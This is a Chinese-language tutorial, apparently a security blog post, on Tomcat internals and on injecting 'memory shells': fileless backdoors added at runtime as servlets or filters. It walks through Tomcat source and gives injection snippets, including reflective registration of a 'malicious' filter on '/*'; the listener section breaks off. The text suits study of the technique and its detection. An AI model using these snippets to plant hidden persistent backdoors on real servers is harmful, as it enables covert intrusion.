1.tomcat

1.tomcat 结构

--Server  顶层容器    --Service  提供具体服务的       --Connector       --Container          --Engine            --Host               --Context                  --Wrapper               --Service   Server: 一个Tomcat仅有一个Server，指代整个Web服务器。 Connector: 连接器，用于接受请求并将请求封装成Request和Response对象。

默认配置文件server.xml

connectionTimeout="20000"                redirectPort="8443" />

Container：Catalina，Servlet 容器,处理servlet请求，内部有多层容器组成，用于管理 Servlet 生命周期，调用 servlet 相关方法。 在Container中，使用PipeLine-Value管道的方式处理请求，包含以下四个子容器： StandardEnginevalue --> StandardHostValue --> StandardContextValue --> StandardWrapperValue Engine：Servlet 的顶层容器 Host：代表一个虚拟主机 Context:代表Webapps（默认应用文件夹，可更改)里单独某个Web应用，Web 应用上下文，包含多个 Wrapper，负责 web 配置的解析、管 理所有的 Web 资源； Wrapper：每个Wrapper中封装了一个Servlet

resourceName="UserDatabase"/>                            unpackWARs="true" autoDeploy="true">                                prefix="localhost_access_log." suffix=".txt"                pattern="%h %l %u %t "%r" %s %b" />

2.tomcat处理请求流程

一次完整请求，socket->http->response

 Connector处理部分

NioEndpoint$SocketProcessor -> Http11Processor -> CoyoteAdapter，通过CoyoteAdapter的service方法，完成org.apache.coyote.Request -> org.apache.catalina.connector.Request (实现了HttpServletRequest)和org.apache.catalina.connector.Response (实现了HttpServletResponse）的转换。

2.servlet介绍

Servlet：Servlet的生命周期开始于Web容器的启动时，它就会被载入到Web容器内存中，直到Web容器停止运行或者重新装入servlet时候结束。一旦Servlet被装入到Web容器之后，一般是会长久驻留在Web容器之中。 装入：启动服务器时加载Servlet的实例。 初始化：web服务器启动时或web服务器接收到请求时，或者两者之间的某个时刻启动。初始化工作有init()方法负责执行完成。 调用：从第一次到以后的多次访问，都是只调用doGet()或doPost()方法。 销毁：停止服务器时调用destroy()方法，销毁实例。   Filter：自定义Filter的实现，需要实现javax.servlet.Filter下的init()、doFilter()、destroy()三个方法。 启动服务器时加载过滤器的实例，并调用init()方法来初始化实例； 每一次请求时都只调用方法doFilter()进行处理；停止服务器时调用destroy()方法，销毁实例。   Listener：以ServletRequestListener为例，ServletRequestListener主要用于监听ServletRequest对象的创建和销毁，一个ServletRequest可以注册多个ServletRequestListener接口。 每次请求创建时调用requestInitialized()；每次请求销毁时调用requestDestroyed()。   加载顺序 web.xml对于这三种组件的加载顺序是：listener -> filter -> servlet，即listener的优先级为三者中最高的。

3.servlet内存马

3.1常见的servlet示例

1 2 3 4 5 6 7 8 9 10

public class LoginServlet extends HttpServlet {     protected void doPost(HttpServletRequest request, HttpServletResponse response)             throws ServletException, IOException {         String name = request.getParameter("name");         String password = request.getParameter("password");           System.out.println("name:" + name);         System.out.println("password:" + password);     } }

在web.xml中配置如下

配置servlet类和maping的映射关

LoginServlet         LoginServlet                     LoginServlet         /login

servlet生命周期

login请求具体过程

3.2servlet加载流程调试。调试环境 tomcat8

3.2.1一个Wrapper代表一个servlet实例，StandardContext.class 中有createWrapper 方法，在此处在断点进行调试

关键的调用过程如下：

3.2.2发现：ContextConfig.webConfig() 方法，会加载我们的配置文件web.xml，然后对xml进行解析，获取filter,servlet配置信息。测试环境暂未添加listener

3.2.3解析完配置文件之后，ContextConfig.configureContext，对context进行配置

会对filter,listener,servlet进行配置

3.2.4其中对servlet的配置过程如下：

创建wrapper实例，赋值servletname

3.2.5设置 Servlet 对应的 Class

3.2.6将wrapper添加至当前的context中

3.2.7wrapper配置完后，配置mapping

进入StandardContext.addServletMappingDecoded()方法

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44

public void addServletMappingDecoded(String pattern, String name, boolean jspWildCard) {         //查找当前child中有没有这个servletname的wrapper         if (this.findChild(name) == null) {             throw new IllegalArgumentException(sm.getString("standardContext.servletMap.name", new Object[]{name}));         } else {             //对路由进行判断             String adjustedPattern = this.adjustURLPattern(pattern);             if (!this.validateURLPattern(adjustedPattern)) {                 throw new IllegalArgumentException(sm.getString("standardContext.servletMap.pattern", new Object[]{adjustedPattern}));             } else {                 synchronized(this.servletMappingsLock) {             // 前面没有对wrapper进行路由关系映射                     String name2 = (String)this.servletMappings.get(adjustedPattern);                     if (name2 != null) {                         Wrapper wrapper = (Wrapper)this.findChild(name2);                         wrapper.removeMapping(adjustedPattern);                     }             //context中添加路由与wrapper映射关系                     this.servletMappings.put(adjustedPattern, name);                 }                   Wrapper wrapper = (Wrapper)this.findChild(name);             //wrapper中添加对应mapping信息                 wrapper.addMapping(adjustedPattern);                 this.fireContainerEvent("addServletMapping", adjustedPattern);             }         }     } 总结： 1.查找 当前的Child的wrapper 2.对路由进行校验 3.向context 的mapping 中添加 路由和servletname 4.在当前child中找到name 相同的wapper 5.相同的wapper 添加路由 这个过程也和web.xml的属性对应         LoginServlet         LoginServlet                     LoginServlet         /login

3.2.8servlet的启动顺序

StandardWrapper.loadServlet()处下断点

其中在StandardContext.startInternal()方法中可以看到tomcat对servlet的加载顺序

3.2.9jsp注入

    Wrapper newWrapper = context.createWrapper();
    String name = servlet.getClass().getSimpleName();
    //3.2.4
    newWrapper.setName(name);
    //newWrapper.setLoadonStartup(1);
    ///3.2.5
    newWrapper.setServletClass(servlet.getClass().getName());

   //3.2.6

    context.addChild(newWrapper);

   //3.2.7
    context.addServletMappingDecoded("/master", name);

   newWrapper.setServlet(servlet);

发现这个 是用不了的，对比filter是缺少了与类实例的映射。

在applicationcontext的addservlet方法中， 是有这行代码，设置类实例

StandardWrapper.load)中 ，也是将

this.instance = this.loadServlet();

loadServlet()返回servlet  ,servlet = (Servlet)instanceManager.newInstance(this.servletClass);

instance 设置为servlet实例

所以要添加

将wrapper与servlets实例关联

Wrapper.setServlet(servlet);

最后如下：

 Wrapper newWrapper = context.createWrapper();
    String name = servlet.getClass().getSimpleName();
    //3.2.4
    newWrapper.setName(name);
    newWrapper.setLoadonStartup(1);
    //
    //newWrapper.setServlet(servlet);
    ///3.2.5
    newWrapper.setServletClass(servlet.getClass().getName());

    context.addChild(newWrapper);
    context.addServletMappingDecoded("/master", name);

4.Filter型内存马

4.1常见filter类用例

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25

public class FirstFilter implements Filter {     @Override     public void destroy() {     // 在web容器卸载Filter对象之前被调用     }     @Override     public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain)             throws IOException, ServletException {         HttpServletRequest request = (HttpServletRequest) req;         HttpServletResponse response = (HttpServletResponse) res;         request.setCharacterEncoding("UTF-8");         String ip = request.getRemoteAddr();         String url = request.getRequestURL().toString();         SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");         Date d = new Date();         String date = sdf.format(d);         System.out.printf("%s %s 访问了 %s%n", date, ip, url);         chain.doFilter(request, response);     }     @Override     public void init(FilterConfig arg0) throws ServletException {       }   }

web.xml配置

FirstFilter     //名字自定义         Filterdemo.FirstFilter   //类名                     FirstFilter  //与前面对应         /*     // 作用域

4.2 执行顺序，filter的执行顺序与添加web.xml添加的顺序一致

4.3执行点： 当执行到最后的StandardWrapperValue时，将通过ApplicationFilterFactory对象的createFilterChain()方法，创建FilterChain(过滤链)，并调用FilterChain.doFilter()方法，对请求进行过滤操作。

关键，从context中获取filterMaps，通过filtermap获取filterconfig,将filterconfig添加进filterChain

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68

public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {        if (servlet == null) {            return null;        } else {            ApplicationFilterChain filterChain = null;            if (request instanceof Request) {                Request req = (Request)request;                if (Globals.IS_SECURITY_ENABLED) {                    filterChain = new ApplicationFilterChain();                } else {                    filterChain = (ApplicationFilterChain)req.getFilterChain();                    if (filterChain == null) {                        filterChain = new ApplicationFilterChain();                        req.setFilterChain(filterChain);                    }                }            } else {                filterChain = new ApplicationFilterChain();            }              filterChain.setServlet(servlet);            filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());            StandardContext context = (StandardContext)wrapper.getParent();            FilterMap[] filterMaps = context.findFilterMaps();            if (filterMaps != null && filterMaps.length != 0) {                DispatcherType dispatcher = (DispatcherType)request.getAttribute("org.apache.catalina.core.DISPATCHER_TYPE");                String requestPath = null;                Object attribute = request.getAttribute("org.apache.catalina.core.DISPATCHER_REQUEST_PATH");                if (attribute != null) {                    requestPath = attribute.toString();                }                  String servletName = wrapper.getName();                FilterMap[] arr$ = filterMaps;                int len$ = filterMaps.length;                  int i$;                FilterMap filterMap;                ApplicationFilterConfig filterConfig;                for(i$ = 0; i$ < len$; ++i$) {                    filterMap = arr$[i$];                    if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath)) {                        filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());                        if (filterConfig != null) { 当实例不为空时通过addFilter方法，将管理filter实例的filterConfig添加入filterChain对象中。                             filterChain.addFilter(filterConfig);                        }                    }                }                  arr$ = filterMaps;                len$ = filterMaps.length;                  for(i$ = 0; i$ < len$; ++i$) {                    filterMap = arr$[i$];                    if (matchDispatcher(filterMap, dispatcher) && matchFiltersServlet(filterMap, servletName)) {                        filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());                        if (filterConfig != null) {                            filterChain.addFilter(filterConfig);                        }                    }                }                  return filterChain;            } else {                return filterChain;            }        }    }

filtermap中存放filtername与url 对应关系

1 2 3

private HashMap filterConfigs = new HashMap();    private HashMap filterDefs = new HashMap();    private final StandardContext.ContextFilterMaps filterMaps = new StandardContext.ContextFilterMaps();

filterConfigs 变量存储了filter名称与相应的ApplicationFilterConfig对象，在ApplicationFilterConfig对象中则存储了Filter实例以及该实例在web.xml中的注册信息 

filterDefs 变量存储了filter名称与相应FilterDef的对象，而FilterDef对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据 

filterMaps 中的FilterMap则记录了不同filter与UrlPattern的映射关系 

总结：

filterMaps变量：含有所有filter的URL映射关系

filterDefs变量： 含有所有filter包括实例在内等变量

filterConfigs 变量：含有所有与filter对应的filterDef信息及filter实例，并对filter进行管理

createFilterChail方法会根据请求的URL在filterMaps中匹配filter，然后在filterConfigs中找到filter实例，创建filterChain。

因此，我们只需要向StandardContext实例的filterMaps、filterDefs、filterConfigs中添加恶意Filter相关参数，即可完成Filter马的注入。

注入：

... Map filterConfigs = (Map)fconfig.get(standardContext); ... //filterdef       FilterDef filterDef = new FilterDef();       filterDef.setFilter(filter); //       filterDef.setFilterName(name);       filterDef.setFilterClass(filter.getClass().getName());  // 设置类名       standardContext.addFilterDef(filterDef);   // 放入 context的filterdef中 //filtermap       FilterMap filterMap = new FilterMap();  //存放作用域和filter 名称       filterMap.addURLPattern("/*");       filterMap.setFilterName(name);       //添加近filtermaps       standardContext.addFilterMapBefore(filterMap);              Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);       constructor.setAccessible(true);       ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);       //filterConfigs   从前面的  全局作用域获取，通过反射修改。       filterConfigs.put(name,filterConfig);

5,listener注入

5.1常见的listener使用

public class ServletRequestLister implements ServletRequestListener {     // 监听请求     @Override     public void requestDestroyed(ServletRequestEvent servletRequestEvent) {         System.out.println(servletRequestEvent.getServletRequest()+"     over");     }       @Override     public void requestInitialized(ServletRequestEvent servletRequestEvent) {         System.out.println(servletRequestEvent.getServletRequest()+"    start");       } }

web.xml配置

ServletRequestListener              listenter.ServletRequestLister

listener都是全局都是全局的不用设置路由。

常见的listenerl类

ServletContextListener:用于监听web应用的启动和关闭 ServletContextAttributeListener:用于监听在application范围内的数据的变动 ServletRequestListener:用于监听用户请求的细节 ServletRequestAttributeListener:用于监听request范围内的数据的变动 HttpSessionListener:用于监听某次会话的开始和结束 HttpSessionAttributeListener:用于监听session范围内的属性数据的变动

5.2listener的启动流程

StandardHostValve的context.fireRequestInitEvent(request.getRequest() 触发

this.getApplicationEventListeners();获取listener

getApplicationEventListeners方法如下：

1 2 3

public Object[] getApplicationEventListeners() {         return this.applicationEventListenersList.toArray();     }

applicationEventListenersList在standardcontext中如下：

private List